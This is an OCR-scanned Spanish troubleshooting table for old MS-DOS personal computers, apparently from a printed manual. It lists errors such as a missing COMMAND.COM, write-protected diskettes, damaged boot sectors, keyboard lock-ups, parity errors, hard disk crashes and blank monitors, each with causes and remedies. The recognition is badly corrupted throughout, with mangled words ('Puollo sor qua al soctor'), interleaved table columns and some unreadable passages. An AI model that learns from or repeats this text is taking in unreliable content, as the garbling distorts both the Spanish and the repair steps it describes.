sector derectuoso CHKDSKII para reparar el disco 

No se CiJrgó al programa o procosodor do comandos 
COMMAND.COM . 

El sistema operativo DOS se ve impos1bilit<Jdo de grDbar en 
la umdad de disco especificada · 

• 1 .:. 

Puede sor que la Impresora estó 
poi o no ostó on Hnca (on lino) 

Ha ocurrido un error poco usual 

. no tenga pa-

El disco' 'en c'ual desea grabar la información eslá. prote-
gido contra escritura 

No existe la suficiente cantidad de 

Puollo sor qua al soctor <.Jo carga (boot Sf?Cior) <.Jo su 1 

osló dnñndo, o larnhlón quo no llnyn lnnorlmln trnlnrl o) 

disco de slslema en la unidad de disco A 

Aomiclollce (reboot) la computadoro. Si no se soluc1ona. 
haga una nueva copia del sistema operatiVO DOS · 

lnser1e correctamente el disquete en la unidad de disco. 
Puede ser que el pesullo de la unidad de d1sco no esté 
cerrado · 

el desperfecto e intento imprimir nuevamente 

Si la garanlla del equipo aün está vigente, consulte a su 
distribuidor. Generalmente este error requiere de la 
atención do .o.tgUn programador o un tócnico 0) porto. o do 
un asesor en computación · · 

Ouflele al disquete la lengüela de protección contra es~ 
critura • ·· · -

Desactive alguno de r&S;identas (In memoria 
(Termlnate and Stay Rasidenl, TSR) que esté l tillzando, y 
reinicialice (Reboot) la computadora 

In tonto corregir ol rfofocto dot disco con oto1ín p1 oorumn do 
trlfllrlnrl r.ornn por ojnmplo ol nnr.tnr rtn nt~r.n Nnrtnn (Nnr· 
Ion Disk Doclor, NDD) de Norton Ulflllles, en El olro caso. 
Inserte el disqUete dSI sistema operativo en la unidad A 

Tal vez olvidó incluir la vi a de acceso (palh) al 
destino 

de Direccione correctamente el destino do la copla Incluyendo 
la vfa do acceso (path) en el comando 

El comando FORMAT del sistema operalivo DOS tiene la 
capacidad para doleclar cualquier sector dañado (bad 
sector) y marcarlo como tal, excepto el sector Ó, el cual 
siempre debe estar en buen estado, pues en él se aloja el 

(boot program) 

El Unico remedio consiste en desechar el disqu·lle 
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El teclado se 1 Sr' el leclado so bloquea repentinamente o al encender la ev1se as conex ones o .ntenle usar otro cable. :>1 esto no 
encuentra computadora ésta presenta un mensaje de error, puede ser soluciona el problema, habrá que limpiar elleclado, pues es 

bloqueado y no que el problema sea un falso contacto o que las COJ1exlones posible que el polvo haya bloqueado la señal 
responde a ninguna del ~~ciado ostén delecruosas 

pulsación 

El teclado no 
1 Quizás el teclado está conligurado para un modo diferente Verifique eltfpo de teclado que llene su computadora. CoÍ'n· 

genera el caráclcr 
de lexto. Por ejemplo, si usled usa el teclado estándar para pruebe el archivo AUTOEXEC.BAT para ver si contiene el 

asociado con la. - ol inglés do Estados Unidos, puedo que estó conflgurado comando K~YBSP. Cerciórese de que el pQ:~Ue:te o pro-

tecla que usted 
con el CO?lando KEYBSP (en español}; por ello, al pr~onar gi'ama que está ejecutando no modifique la configuración 

pulsa 
las tecJa's, en respuesta ap;;uecen caracteres diferentes a orig1nal del rectado. Consulte su manual da opera•:ión 
Jos esperados 

Este error puede sor causado por falla ffslca en la memoria Existen diversos programas para el diagnóstico da errores 
Error do piufdad convenciOnal o RAM (Random Acccss Memory) det sistema o de los periféricos de su compuladom. Intente 

(Parity error) delectar la falla con alguno de ellos o solicite ayuda de un 
i 

Error en la Es le tipo do error es generalmente causado por el usuano y 
1 La_ mei()' · a este pro~lf¡lma es que utilicemos ~lo 

·operación de lo~ produce <:livcrsos efeclos. Estos van desde la sobreescrl- o paquetes ortgln~t,:s. los cuales casi siempre 
programas o tura accidenlal de un archivo hasta la modillcaci<)n dedales, SI!' acampanan de manuales cla~menle explicados 

paqueteS o Incluso la imposibilidad de acceder al d1sco o de mo-
\ 

integrados de dificarlos 
software , 

La cabeza de leclura/ grabación de la unidad de disquetes Limpie periódicamente 1~ cabezas de lectura/grab"aclón de 
Error en la unidad puede es lar muy sucia o desalineada la(S) unldad(es) de disquetes. Realice un mantenimiento 

de disquete prevenllvo que lncl~ya la alineación de las cabezas de 
fectura/grabaclón 

Puede ser que algún movimiento brusco en su mesa de Ira- Intente rescatar la información del sector daftado usando al~ 

Error en el disco lijo 
bajo haya dañado el disco fijo gún programa de utilidades, y cópieta a olro sector que se 

o duro '' encuentro en buen estado. Seguidamente marque al sector 
defectuoso para que no se grabe nuevamente inform ac.iór' en 
él-algunos programas de·Utilldades harán esto por usted-:-

: ,,.:,._ 
""~'''' 

:.,~:,,,,,, ... ~ , .. , ... ~. 1 ff!lla ._.~,,., .. '-~.~,,,:~ ,,,,, .'·:' ;, <·:.,' . ,.,, 
" 

CreQ.clón de varios Por lo general, este problema se debe a falla de cuidado del VeriUque cuál es el directorlQ. qua le lntere~a y b'órre los 
directorios con usuario al crear subdireclorios e~ nombre parecido dir~ctorios que no desee tener. en su computadora 

EWChlvos Iguales 
' 

~ 

Sl_la falla es ffsica .. puede deberse a movimientos bruscos P~.:~ede usted tratar de recuperar la Información con alg~n 

Imposibilidad do 
ocurridos durante In operación do la compuladora. T;unbión progrnma do utilidades 
os posible quo Ósta so haya golpeado allmnimortm ot 

lodr la inlormación 
oqulpo sin <mios· hLJlJur ullll.wtlo ul com&Jntlo usl;lc/Vm.Jr 

' del ?lsco lijo (Park). Es lo hace que la cabeza de' leclura/grSbación se 
estrelle (Crash) contra la suparlicie del disco y la dañe 

' 

La.compotadora no Puede ser que al fusible protector contra sobrovollaje de la Revise los fusibles o las conexiones a la linea de surninislro 
enciendo. la 'computadora O do l'a loma do corriente so haya tundido. otór.lrico. Reviso su ronutador do vollajo, si lo liono 

pantalla del monllor También p~dicra s':lr que cxiSia algún lalso con lacio onlro la 
indica qua hay loma de corriente y al cable 

corriente eléclrica, ' 
pero no hoy sof\ales. 

de actividad ~ ~ 

La panlalla del Ourant~ el curso de un proceso, el monitor talla y so queda Revise cable y conexione,& ,, 
monllor permanece en blanco. Puede que esró dañado el conector o el cable 

' ~ 
en blanco · 

Se observa texto Puedo lratarse de una.falla del controlador de video Compruebe las conexiones o verifique el controlador.de 
. extraño'en'la . ' 

video con un programa de diagnóstico. E~e le indic:aJ4 la 

"""'·"''" fall~·y. to ; 1rl&1 "' a solucionarla 


